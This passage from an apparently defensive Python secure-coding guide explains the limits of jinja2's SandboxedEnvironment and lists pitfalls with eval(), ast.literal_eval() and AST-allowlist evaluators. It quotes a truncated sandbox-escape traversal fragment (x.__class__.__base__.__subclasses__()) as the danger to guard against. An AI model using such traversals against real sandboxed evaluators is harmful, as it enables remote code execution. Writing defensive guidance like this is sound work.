If users genuinely need to supply templates, jinja2.sandbox.SandboxedEnvironment is the supported answer and it does hold against the obvious payloads: on 3.1.6 each of the four traversals above raises SecurityError or resolves to Undefined instead of the object. Be clear about what kind of control it is, though. It works by classifying attributes and callables as unsafe, which is a denylist over a language that keeps acquiring new ways to reach the host, so it wants a current Jinja2 and it is not the same guarantee as a template language that has no host-object access to begin with. Where the template really is attacker-supplied and the feature can live without Python objects in scope, a Mustache-style renderer or a small syntax you define yourself is the sturdier shape.
Common Pitfalls
- Falling back to a filtered
eval()for the one caseast.literal_eval()can't handle:literal_eval()correctly parses only literals - it rejects function calls, attribute access, and name lookups, which is exactly why it's safe. When a feature needs one more capability (calling a specific allowed function, referencing an object attribute) thatliteral_eval()can't provide, the path of least resistance is sometimes a denylist-filteredeval()"just for this one case" - that reopens the fulleval()attack surface for the sake of one feature. - No size or depth limit on
ast.literal_eval()input: It never executes code, but it does fully parse and construct the literal - a very large or deeply nested untrusted string can still exhaust memory or hit Python's recursion limit before the parse fails, which is a denial-of-service risk even though code execution is prevented. - AST allowlist that permits
ast.Attributeorast.Subscriptalongsideast.Name: A restricted AST-walking evaluator that allowlists node types but treats attribute or subscript access as safe reopens the same object-graph traversal path (x.__class__.__base__.__subclasses__()...) that the allowlist exists to prevent. Only allow attribute or subscript access when the base is restricted to a small, hardcoded set of safe objects - not any allowlistedName.